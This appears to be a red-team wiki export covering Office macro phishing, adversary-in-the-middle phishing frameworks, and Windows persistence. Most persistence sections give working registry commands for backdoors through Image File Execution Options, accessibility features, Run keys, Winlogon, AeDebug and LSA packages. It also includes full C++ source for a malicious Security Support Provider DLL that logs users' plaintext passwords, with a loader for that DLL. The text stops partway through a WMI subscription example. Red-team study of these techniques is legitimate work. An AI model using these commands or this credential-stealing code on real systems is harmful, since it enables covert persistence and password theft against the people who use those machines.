In July of 2021, Microsoft released a new Excel Trust Center setting option to restrict the usage of Excel 4.0 (XLM) macros and they are now [disabled by default](https://techcommunity.microsoft.com/blog/excelblog/excel-4-0-xlm-macros-now-restricted-by-default-for-customer-protection/3057905).
{% endhint %}

## Practice

## Resources

{% embed url="<https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-xlm-macro-4.0>" %}

{% embed url="<https://www.outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/>" %}


# MS Office - VBA Stomping

MITRE ATT\&CK™ Hide Artifacts: VBA Stomping - Technique T1564.007

## Theory

## Practice

## Resources


# MS Office - Remote Dotm Template Injection

## Theory

## Practice

## Resources

{% embed url="<https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/inject-macros-from-a-remote-dotm-template-docx-with-macros>" %}


# Phishing via Proxy


# Adversary in the Middle (AitM) Phishing

MITRE ATT\&CK™ Adversary-in-the-Middle - Technique T1557

## Theory

AitM phishing is a technique that uses dedicated tooling to act as a proxy between the target and a legitimate login portal for an application, principally to make it easier to **defeat MFA protection**.

Adversaries may attempt to proxy multi-domain destination traffic (both TLS and non-TLS) over a single domain, without a requirement of installing any additional certificate on the client.

<figure><img src="/files/AZqwLGOQeM2Mdku9JWnj" alt=""><figcaption></figcaption></figure>

## Practice

## Resources

{% embed url="<https://attack.mitre.org/techniques/T1557/>" %}

{% embed url="<https://pushsecurity.com/blog/phishing-2-0-how-phishing-toolkits-are-evolving-with-aitm/>" %}


# EvilGoPhish

MITRE ATT\&CK™ Adversary-in-the-Middle - Technique T1557

## Theory

[EvilGoPhish](https://github.com/fin3ss3g0d/evilgophish) is a proxy man-in-the-middle framework that is a combination of [evilginx3](https://github.com/kgretzky/evilginx2) and [GoPhish](https://github.com/gophish/gophish).

## Practice

## Resources

{% embed url="<https://github.com/fin3ss3g0d/evilgophish>" %}


# Evilginx

MITRE ATT\&CK™ Adversary-in-the-Middle - Technique T1557

## Theory

[**Evilginx**](https://github.com/kgretzky/evilginx2) is a man-in-the-middle attack framework used for phishing login credentials along with session cookies, which in turn allows to bypass 2-factor authentication protection.

## Practice

## Resources

{% embed url="<https://github.com/kgretzky/evilginx2>" %}


# Muraena

MITRE ATT\&CK™ Adversary-in-the-Middle - Technique T1557

## Theory

[**Muraena**](https://github.com/muraenateam/muraena) is an almost-transparent reverse proxy aimed at automating phishing and post-phishing activities.

## Practice

## Resources

{% embed url="<https://github.com/muraenateam/muraena>" %}


# Modlishka

MITRE ATT\&CK™ Adversary-in-the-Middle - Technique T1557

## Theory

[Modlishka](https://github.com/drk1wi/Modlishka) is a powerful and flexible HTTP reverse proxy. It implements an entirely new and interesting approach of handling browser-based HTTP traffic flow, which allows it to transparently proxy multi-domain destination traffic, both TLS and non-TLS, over a single domain, without a requirement of installing any additional certificate on the client.

## Practice

## Resources

{% embed url="<https://github.com/drk1wi/Modlishka>" %}

{% embed url="<https://www.ired.team/offensive-security/red-team-infrastructure/how-to-setup-modliska-reverse-http-proxy-for-phishing>" %}


# Browser in the Middle (BitM) Phishing


# cuddlephish

<https://github.com/fkasler/cuddlephish>


# EvilnoVNC

<https://github.com/JoelGMSec/EvilnoVNC>


# Persistence

MITRE ATT\&CK™ Persistence - Tactic TA0003

## Theory

Persistence consists of techniques used to keep access to systems across restarts, changed credentials, and other interruptions that could cut off our access. Techniques used for persistence include any access, action, or configuration changes that let us maintain our foothold on systems, such as replacing or hijacking legitimate code or adding startup code.

<figure><img src="/files/FNiCykG30k371VHOdwj7" alt=""><figcaption></figcaption></figure>

## Resources

{% embed url="<https://attack.mitre.org/tactics/TA0003/>" %}

{% embed url="<https://www.unifiedkillchain.com/#thescience>" %}


# Active Directory

Refer to the following section for persistence topics in Active Directory environments

{% content-ref url="/pages/beSJIHryHJC3FcljVM0x" %}
[Persistence](/ad/persistence)
{% endcontent-ref %}


# Windows


# Accessibility features Backdoor

MITRE ATT\&CK™  Event Triggered Execution - Accessibility Features - Technique T1546.008

## Theory

The concept here is pretty simple. Windows supports some built in accessibility features like Sticky Keys, Utilman, Narrator, Magnify that are available at pre-logon (at the login screen, either via a physical console or via Remote Desktop). Replacing them by cmd.exe live us with a SYSTEM access at pre-logon.

## Practice

{% tabs %}
{% tab title="Utilman.exe" %}
We can replace the `C:\Windows\System32\Utilman.exe` with a cmd.exe and rename it (utilman.exe). You may need to change utilman.exe owner to yourself first as TrustedIntaller may be giving you a hard time.

An other way is just to edit the [Image File Execution Options](/redteam/persistence/windows/image-file-execution-options) registry

```bash
#Windows
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

#Linux (with impacket)
reg.py <USER>:<PASSWORD>@<TARGET> add -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" -vt REG_SZ -v Debugger -vd "C:\windows\system32\cmd.exe"
```

Know, press `Windows Key`+`U` to spawn an elevated shell
{% endtab %}

{% tab title="Sethc.exe" %}
We can replace the `C:\Windows\System32\sethc.exe` with a cmd.exe and rename it (sethc.exe). You may need to change sethc.exe owner to yourself first as TrustedIntaller may be giving you a hard time.

An other way is just to edit the [Image File Execution Options](/redteam/persistence/windows/image-file-execution-options) registry

```bash
#Windows
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

#Linux (with impacket)
reg.py <USER>:<PASSWORD>@<TARGET> add -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" -vt REG_SZ -v Debugger -vd "C:\windows\system32\cmd.exe"
```

Know, press `Shift Key` 5 time to spawn an elevated shell
{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://doublepulsar.com/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6>" %}

{% embed url="<https://pentestlab.blog/2019/11/13/persistence-accessibility-features/>" %}


# AEDebug Keys Persistence

## Theory

**AEDebug Keys** is a persistence and backdoor technique that leverages the Windows registry's `Debugger` property to execute a specified executable when a process crashes. The level of access gained depends on the security context of the debugged process. Additionally, if the `Auto` property of the same registry key is set to `1`, the debugger launches automatically without requiring user interaction, further enhancing persistence.

{% hint style="info" %}
A value of `C:\Windows\system32\vsjitdebugger.exe` might be seen if you have Visual Studio Community installed.
{% endhint %}

## Practice

{% hint style="danger" %}
By editing AEDebug, the original debugger exe will not start
{% endhint %}

{% tabs %}
{% tab title="AeDebug" %}
You can run a malicious code instead of the debugger by editing `Auto` and `Debugger` values under following keys:

* `HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\AeDebug`
* `HKCU\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\AeDebug`

```powershell
# Starts without user interaction
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug" /v "Auto" /t REG_SZ  /d "1"
# Edit debugger
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug" /v "Debugger" /d "C:\Temp\evil.exe"

#Or

# Starts without user interaction
reg add "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\AeDebug" /v "Auto" /t REG_SZ /d "1"
# Edit debugger
reg add "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\AeDebug" /v "Debugger" /d "C:\Temp\evil.exe"
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://www.hexacorn.com/blog/2013/09/19/beyond-good-ol-run-key-part-4/>" %}

{% embed url="<https://persistence-info.github.io/Data/aedebug.html>" %}


# Image File Execution Options (IFEO) Persistence

MITRE ATT\&CK™ Event Triggered Execution: Image File Execution Options Injection - Technique T1546.012

## Theory

**Image File Execution Options (IFEO)** is a Windows registry key designed for developers to attach a debugger to an application and enable debugging features such as `GlobalFlag`. However, this functionality can be abused for persistence by specifying an arbitrary executable as the debugger for a target process or by using the `MonitorProcess` feature.

In both cases, code execution is achieved, with the trigger being either the creation of the specified process or the termination of an application. Notably, implementing this technique requires Administrator privileges, as modifications must be made under the `HKLM` registry hive.

## Practice

{% hint style="danger" %}
By editing Image File Execution Options, the original exe will not start
{% endhint %}

{% tabs %}
{% tab title="GlobalFlag" %}
With the GlobalFlag persistence technique, payload is triggered when the target application is closed.

```powershell
#Enables the silent exit monitoring for the notepad process.
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512

#Enables the Windows Error Reporting process (WerFault.exe) which will be the parent process of the “MonitorProcess”
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1

#Set up the arbitrary payload
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\payload.exe"
```

{% endtab %}

{% tab title="Debugger" %}
Using the debugger technique, we can define a binary that will be attached to the targeted process

```powershell
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /d "C:\tmp\payload.exe"
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/>" %}

{% embed url="<https://attack.mitre.org/techniques/T1546/012/>" %}


# Logon Triggered Persistence

MITRE ATT\&CK™ Boot or Logon Autostart Execution - Technique T1547

## Theory

It's sometime usefull to know how to plant payloads that will get executed when a user logs into the system !

## Practice

{% tabs %}
{% tab title="Startup Folders" %}
We can put executable in each user's folder:

* `C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup`

If we want to force all users to run a payload while logging in, we can use the folder under:

* `C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp`
  {% endtab %}

{% tab title="Logon Scripts" %}
One of the things userinit.exe does while loading your user profile is to check for an environment variable called `UserInitMprLogonScript`. We can use this environment variable to assign a logon script to a user that will get run when logging into the machine.

```bash
reg add "HKCU\Environment" /v UserInitMprLogonScript /d "C:\Windows\shell.exe" /f
```

{% endtab %}

{% tab title="Registry" %}
You can also force a user to execute a program on logon via the registry. [Check this page for more details](/redteam/persistence/windows/run-keys)
{% endtab %}

{% tab title="WinLogon" %}
Winlogon, the Windows component that loads your user profile right after authentication can be abuse for persistence. [Check this page for more details](/redteam/persistence/windows/winlogon).
{% endtab %}
{% endtabs %}


# LSA Persistence

## Theory

The Local Security Authority (LSA) is a protected system process that authenticates and logs users on to the local computer. The LSA is responsible for enforcing security policies and managing user authentication and authorization. It validates user information by checking the Security Accounts Manager (SAM) database. We may abuse some of its mechanisms to acheive persistencce.

## Practice

{% content-ref url="/pages/nDJti97wHGmnDEdUozll" %}
[Security Support Provider DLLs](/redteam/persistence/windows/lsa/security-support-provider-dlls)
{% endcontent-ref %}

{% content-ref url="/pages/54ObOZg4vknDbdg4ExXq" %}
[Authentication Package](/redteam/persistence/windows/lsa/authentication-package)
{% endcontent-ref %}


# Security Support Provider DLLs

MITRE ATT\&CK™ Boot or Logon Autostart Execution: Security Support Provider - Technique T1547.005

## Theory

We may abuse [security support providers (SSPs)](https://learn.microsoft.com/en-us/windows-server/security/windows-authentication/security-support-provider-interface-architecture) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.

## Practice

{% hint style="danger" %}
We won't be able to make it work If [LSA protection (RunAsPPL)](https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection#enable-by-using-the-registry) is enabled. Loaded SSP DLLs will have to be signed by Microsoft as LSASS.exe will run as a [Protected Process Light (PPL)](https://learn.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-#system-protected-process).
{% endhint %}

We may modify LSA Registry keys to add new SSPs which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called. The SSP configuration is stored in this two Registry keys:

* `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages`
* `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages`.

{% tabs %}
{% tab title="Mimikatz" %}
The [Mimikatz](https://github.com/gentilkiwi/mimikatz/releases) project provides a DLL file (mimilib.dll) that can be used as a malicious SSP DLL that will log credentials in this file:

```powershell
C:\Windows\System32\kiwissp.log 
```

First, you will have to copy mimilib.dll in System32

```powershell
copy C:\Windows\Temp\mimilib.dll C:\Windows\System32\mimilib.dll
```

Then, edit LSA registry keys to include the new security support provider

```powershell
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ /f
```

{% endtab %}

{% tab title="PowerSploit" %}
[PowerSploit](https://attack.mitre.org/software/S0194)'s `Install-SSP` Persistence module can be used to install a SSP DLL.

```powershell
Import-Module .\PowerSploit.psm1
Install-SSP -Path .\mimilib.dll
```

{% endtab %}

{% tab title="Custom DLL" %}
Below is the code, originally taken from [mimikatz](https://github.com/gentilkiwi/mimikatz), adapted and refactored, that we can compile as our own Security Support Provider DLL. It intercepts authenticatin details and saves them to a file `c:\temp\lsa-pwned.txt`:

{% code title="sspcutsom.cpp" %}

```cpp
#include "stdafx.h"
#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <NTSecAPI.h>
#include <ntsecpkg.h>
#include <iostream>
#pragma comment(lib, "Secur32.lib")

NTSTATUS NTAPI SpInitialize(ULONG_PTR PackageId, PSECPKG_PARAMETERS Parameters, PLSA_SECPKG_FUNCTION_TABLE FunctionTable) { return 0; }
NTSTATUS NTAPI SpShutDown(void) { return 0; }

NTSTATUS NTAPI SpGetInfo(PSecPkgInfoW PackageInfo)
{
	PackageInfo->Name = (SEC_WCHAR *)L"SSPCustom";
	PackageInfo->Comment = (SEC_WCHAR *)L"SSPCustom <o>";
	PackageInfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION;
	PackageInfo->wRPCID = SECPKG_ID_NONE;
	PackageInfo->cbMaxToken = 0;
	PackageInfo->wVersion = 1;
	return 0;
}

NTSTATUS NTAPI SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
	HANDLE outFile = CreateFile(L"c:\\temp\\lsa-pwned.txt", FILE_GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	DWORD bytesWritten = 0;
	
	std::wstring log = L"";
	std::wstring account = AccountName->Buffer;
	std::wstring domain = PrimaryCredentials->DomainName.Buffer;
	std::wstring password = PrimaryCredentials->Password.Buffer;

	log.append(account).append(L"@").append(domain).append(L":").append(password).append(L"\n");
	WriteFile(outFile, log.c_str(), log.length() * 2, &bytesWritten, NULL);
	CloseHandle(outFile);
	return 0;
}

SECPKG_FUNCTION_TABLE SecurityPackageFunctionTable[] = 
{
	{
		NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,	SpInitialize, SpShutDown, SpGetInfo, SpAcceptCredentials, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL 
	}
};

// SpLsaModeInitialize is called by LSA for each registered Security Package
extern "C" __declspec(dllexport) NTSTATUS NTAPI SpLsaModeInitialize(ULONG LsaVersion, PULONG PackageVersion, PSECPKG_FUNCTION_TABLE *ppTables, PULONG pcTables)
{
	*PackageVersion = SECPKG_INTERFACE_VERSION;
	*ppTables = SecurityPackageFunctionTable;
	*pcTables = 1;
	return 0;
}
```

{% endcode %}

Then, here is a code that loads the malicious SSP custom.dll:

{% code title="load\_ssp.cpp" %}

```cpp
#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <NTSecAPI.h>
#include <ntsecpkg.h>
#pragma comment(lib, "Secur32.lib")

int main()
{
	SECURITY_PACKAGE_OPTIONS spo = {};
	SECURITY_STATUS ss = AddSecurityPackageA((LPSTR)"c:\\temp\\sspcutsom.dll", &spo);
	return 0;
}
```

{% endcode %}
{% endtab %}
{% endtabs %}

### In-memory DLL injection - Credential Access

We may directly inject [SSP DLLs](https://learn.microsoft.com/en-us/windows-server/security/windows-authentication/security-support-provider-interface-architecture) into memory. It prevent us from editing registries but using this approach, it will not persist accross reboots.

{% content-ref url="/pages/C6Vpv3xUMS9ZCJbiIbbe" %}
[Broken mention](broken://pages/C6Vpv3xUMS9ZCJbiIbbe)
{% endcontent-ref %}

## Resources

{% embed url="<https://attack.mitre.org/techniques/T1547/005/>" %}

{% embed url="<https://pentestlab.blog/2019/10/21/persistence-security-support-provider/>" %}

{% embed url="<https://www.ired.team/offensive-security/credential-access-and-credential-dumping/intercepting-logon-credentials-via-custom-security-support-provider-and-authentication-package>" %}


# Authentication Package

MITRE ATT\&CK™ Boot or Logon Autostart Execution: Authentication Package - Technique T1547.002

## Theory

We may abuse [authentication packages](https://learn.microsoft.com/en-us/windows/win32/secauthn/authentication-packages) to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.

## Practice

{% hint style="danger" %}
We won't be able to make it work If [LSA protection (RunAsPPL)](https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection#enable-by-using-the-registry) is enabled as LSASS.exe will run as a [Protected Process Light (PPL)](https://learn.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-#system-protected-process).
{% endhint %}

Authentication packages can be seen under following registry, and the referenced DLLs are then executed by the system when the authentication packages are loaded.

* `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Authentication Packages`

{% tabs %}
{% tab title="Authentication Packages" %}
First, you will have to copy the malicious package.dll in System32

```powershell
copy "$PathToDll\package.dll" C:\Windows\System32\
```

Then, edit LSA registry keys to include the new authentication package

```powershell
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v "Authentication Packages" /t REG_MULTI_SZ /d "msv1_0\0package.dll" /f
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://attack.mitre.org/techniques/T1547/002/>" %}


# Natural Language 6 DLLs Persistence

## Theory

The **Natural Language Development Platform 6 (NaturalLanguage6.dll) Persistence** technique leverages registry keys associated with the **Natural Language Development Platform 6 library** to achieve code execution by loading a malicious DLL.

By modifying the registry values **`StemmerDLLPathOverride`** or **`WBDLLPathOverride`** under the relevant keys, an attacker can specify the path to a custom DLL. When **`SearchIndexer.exe`**, a built-in Windows service responsible for indexing files, initializes, it calls **`LoadLibrary`** to load the DLL specified in these registry values.

#### **Trigger Condition:**

This persistence mechanism is triggered whenever **`SearchIndexer.exe`** starts or restarts, which typically occurs:

* At system startup
* When the Windows Search service (`WSearch`) is restarted
* Periodically, depending on system activity and indexing behavior

Since **`SearchIndexer.exe`** runs with SYSTEM privileges, this technique can provide high-privileged code execution, making it a stealthy and effective persistence method.

## Practice

{% tabs %}
{% tab title="Natural Language 6 DLLs" %}
You can force SearchIndexer.exe to load some DLLs specified in this registry:

* `HKLM\System\CurrentControlSet\Control\ContentIndex\Language\<some language>\StemmerDLLPathOverride`
* `HKLM\System\CurrentControlSet\Control\ContentIndex\Language\<some language>\WBDLLPathOverride`

```powershell
# StemmerDLLPathOverride
reg add "HKLM\System\CurrentControlSet\Control\ContentIndex\Language\English_US" /v StemmerDLLPathOverride /t REG_SZ /d "C:\Users\root\evil.dll"

# WBDLLPathOverride
reg add "HKLM\System\CurrentControlSet\Control\ContentIndex\Language\English_US" /v WBDLLPathOverride /t REG_SZ /d "C:\Users\root\evil.dll"
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://www.hexacorn.com/blog/2018/12/30/beyond-good-ol-run-key-part-98/>" %}

{% embed url="<https://persistence-info.github.io/Data/naturallanguage6.html>" %}


# Run Keys Persistence

MITRE ATT\&CK™ Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder - Technique T1547.001

## Theory

A classic and widely used persistence technique involves adding an entry to the **Registry "Run" keys**, causing a specified program to execute automatically when a user logs in. This ensures that the attacker’s payload is launched every time the system starts or a user session begins.

#### **Trigger Condition:**

The execution of the referenced program occurs when a user logs in to Windows. The specific privilege level of the executed process depends on the security context of the affected user account:

* If added under **`HKCU\Software\Microsoft\Windows\CurrentVersion\Run`**, the program runs in the context of the current user.
* If added under **`HKLM\Software\Microsoft\Windows\CurrentVersion\Run`**, the program executes for all users on the system, requiring Administrator privileges to modify.

This technique is simple, effective, and often overlooked, making it a popular choice for persistence in both malware and post-exploitation scenarios.

## Practice

{% hint style="success" %}
Registry entries under `HKU/HKCU` will only apply to the user.\
Registry entries under `HKLM` will apply to everyone
{% endhint %}

{% hint style="info" %}
**Run/RunServices** keys will run every time a user logs in.

**RunOnce/RunServicesOnce** will clears the registry key as soon as it run.
{% endhint %}

{% tabs %}
{% tab title="Run/RunOnce/RunOnceEx" %}
You can force a user to execute a program on logon via the **Run** and **RunOnce** and **RunOnceEx** registry keys. You can use the following registry entries to specify applications to run at logon:

* `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`
* `HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce`
* `HKLM\Software\Microsoft\Windows\CurrentVersion\Run`
* `HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce`
* `HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx`

The **RunOnceEx** key entries can reference programs directly or list them as a dependency. For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx.

{% hint style="info" %}
RunOnceEx only executes from HKEY\_LOCAL\_MACHINE (HKLM)

RunOnceEx clears the registry key on completion of the command.
{% endhint %}

```bash
#Run/RunOnce
## Add key for current user
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v PeMalware /t REG_SZ /d "C:\Users\user1\shell.exe"
## Add key for computer (all users)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v PeMalware /t REG_SZ /d "C:\Users\user1\shell.exe"

#RunOnceEx
#Add key for current user - Execute command / PE
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnceEx\0001" /v PeMalware /t REG_SZ /d "C:\tmp\shell.exe"
#Add key for computer (all users) - Execute DLL
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend" /v DLLMalware /t REG_SZ /d "C:\tmp\shell.dll"
```

{% endtab %}

{% tab title="RunServices/RunServicesOnce " %}
The following Registry keys can control automatic startup of services during boot:

* `HKU\<SID>\Software\Microsoft\Windows\CurrentVersion\RunServices`
* `HKU\<SID>\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce`
* `HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices`
* `HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce`

```powershell
#Add key for current user - Execute command / PE
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Pwned /t REG_SZ /d "C:\tmp\Pwned.exe"

#Add key for computer (all users) - Execute command / PE
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Pwned /t REG_SZ /d "C:\tmp\Pwned.exe"
```

{% endtab %}

{% tab title="Policies" %}
We can use policy settings to specify startup programs with following registry keys

* HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
* HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

```powershell
#Add key for current user - Execute command / PE
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v Pwned /t REG_SZ /d "C:\tmp\Pwned.exe"

#Add key for computer (all users) - Execute command
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v Pwned /t REG_SZ /d "powershell.exe C:\tmp\evil.ps1"
```

{% endtab %}
{% endtabs %}

## References

{% embed url="<https://attack.mitre.org/techniques/T1547/001/>" %}


# Winlogon Persistence

MITRE ATT\&CK™ Boot or Logon Autostart Execution: Winlogon Helper DLL - Technique T1547.001

## Theory

Winlogon is a critical Windows component responsible for handling user logins, loading user profiles, and managing session behaviors post-authentication. Attackers can abuse **Winlogon registry keys** to establish persistence by configuring **malicious executables or DLLs** to execute during the login process.

#### **Registry Keys & Their Behaviors:**

The following keys can be modified for persistence:

* **`Shell`** – Specifies the user shell (default: `explorer.exe`). Replacing this value with a malicious executable ensures it is launched instead of (or alongside) Explorer.
* **`Userinit`** – Defines the path of `userinit.exe`, which is responsible for setting up the user environment after login. Adding a malicious binary here ensures execution before the user's desktop loads.
* **`Notify`** – Points to a DLL that is loaded into Winlogon’s process for handling session-related events (e.g., lock, unlock, login, logout). A malicious DLL here will be loaded by `winlogon.exe`, often running with **SYSTEM privileges**.

## Practice

{% hint style="success" %}
Registry entries under `HKU/HKCU` will only apply to the user.\
Registry entries under `HKLM` will apply to everyone
{% endhint %}

{% hint style="danger" %}
If we'd replace any of the executables with some reverse shell, we would break the logon sequence, which isn't desired. **Interestingly, you can append commands separated by a comma, and Winlogon will process them all**.
{% endhint %}

{% tabs %}
{% tab title="Userinit " %}
We may edit the `Userinit` key to make our payload executed during Windows logon

* HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
* HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

```bash
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "C:\Windows\System32\Userinit.exe, C:\Windows\evil.exe" /f
```

{% endtab %}

{% tab title="Shell" %}
We may edit the `Shell` key to make our payload executed during Windows logon

* HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
* HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

```bash
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /d "explorer.exe, C:\Windows\evil.exe" /f
```

{% endtab %}

{% tab title="Notify" %}
We may edit the `Notify` key to make our payload executed during Windows logon. This registry key is typically found in older operating systems **(prior to Windows 7)** and it points to a notification package DLL file which handles Winlogon events. Replacing DLL entries under this registry key with an arbitrary DLL will cause Windows to execute it during logon.

* HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify

Add the following values and keys to the registry. These values communicate to Winlogon.exe and let it know which procedures to run during an event notification. Add as few or as many notification events as needed.

```

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\NameOfProject
       \Asynchronous  REG_DWORD  0
       \Dllname       REG_SZ     NameOfDll.dll
       \Impersonate   REG_DWORD  0
       \Logon         REG_SZ     StartProcessAtWinLogon
       \Logoff        REG_SZ     StopProcessAtWinLogoff
       \...           REG_SZ     NameOfFunction
```

{% hint style="success" %}
The DLL will be executed with SYSTEM level privileges

The DLL should be in %NTROOT%\system32
{% endhint %}

```bash
#Create Project in Notify
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\EvilLogon"

#Create subkeys
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\EvilLogon" /t REG_DWORD /v Asynchronous /d 0
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\EvilLogon" /t REG_DWORD /v Asynchronous /d 0
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\EvilLogon" /t REG_SZ /v Dllname /d "evillogon.dll" 
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\EvilLogon" /t REG_SZ /v Logon /d "StartProcessAtWinLogon"
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\EvilLogon" /t REG_SZ /v Logoff /d "StartProcessAtWinLogon"
...
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://attack.mitre.org/techniques/T1547/004/>" %}


# WMI Event Subscription Persistence

MITRE ATT\&CK™  Event Triggered Execution: Windows Management Instrumentation Event Subscription - Technique T1546.003

## Theory

Using WMI on a remote endpoint, we can perform persistence based on subscription to WMI events. Note that this technique can be used to perform lateral movements. [See this page](/redteam/pivoting/remote-wmi#lateral-movement-via-wmi-event-subscription) for more information

Typically, WMI event subscription requires creation of the following three classes which are used to store the payload or the arbitrary command, to specify the event that will trigger the payload and to relate the two classes (\_\_EventConsumer &\_\_EventFilter) so execution and trigger to bind together.

* **\_\_EventFilter** // Trigger (new process, failed logon etc.)
* **EventConsumer** // Perform Action (execute payload etc.)
* **\_\_FilterToConsumerBinding** // Binds Filter and Consumer Classes

Implementation of this technique doesn’t require any toolkit since Windows has a utility that can interact with WMI (wmic) and PowerShell can be leveraged as well.

## Practice

{% tabs %}
{% tab title="Windows - Powershell" %}
Execution of the following commands using powershell will create in the name space of *“**root\subscription**“* three events. You can set the arbitrary payload to execute within 5 seconds on **every new logon session creation** or within 60 seconds **every time Windows starts.**

```powershell
#Create filter
#Query to execute payload within 60 seconds every time Windows starts:
#SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325
